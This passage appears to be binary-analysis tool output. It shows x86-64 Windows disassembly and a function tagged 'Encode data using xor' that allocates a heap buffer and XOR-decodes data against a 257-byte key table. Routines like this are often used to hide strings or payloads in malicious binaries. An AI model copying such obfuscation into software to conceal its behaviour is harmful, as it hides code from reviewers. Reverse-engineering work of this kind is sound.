xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
cmp r11d, 0xe
jb 0x1400011d0
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001400
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x72]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r10d, r10d
lea rsi, [0x140010040]
mov r11, rax
sub rbx, rax
movabs rdi, 0xff00ff00ff00ff01
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r10d
lea r9, [r9 + 2]
mov rax, rdi
mov rcx, r8
mul r8
add r10d, 2
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
shr rdx, 8
imul rax, rdx, 0x101
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
cmp r10d, 0x7a
jb 0x140001450
mov rbx, qword [rsp + 0x30]
mov rax, r11
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret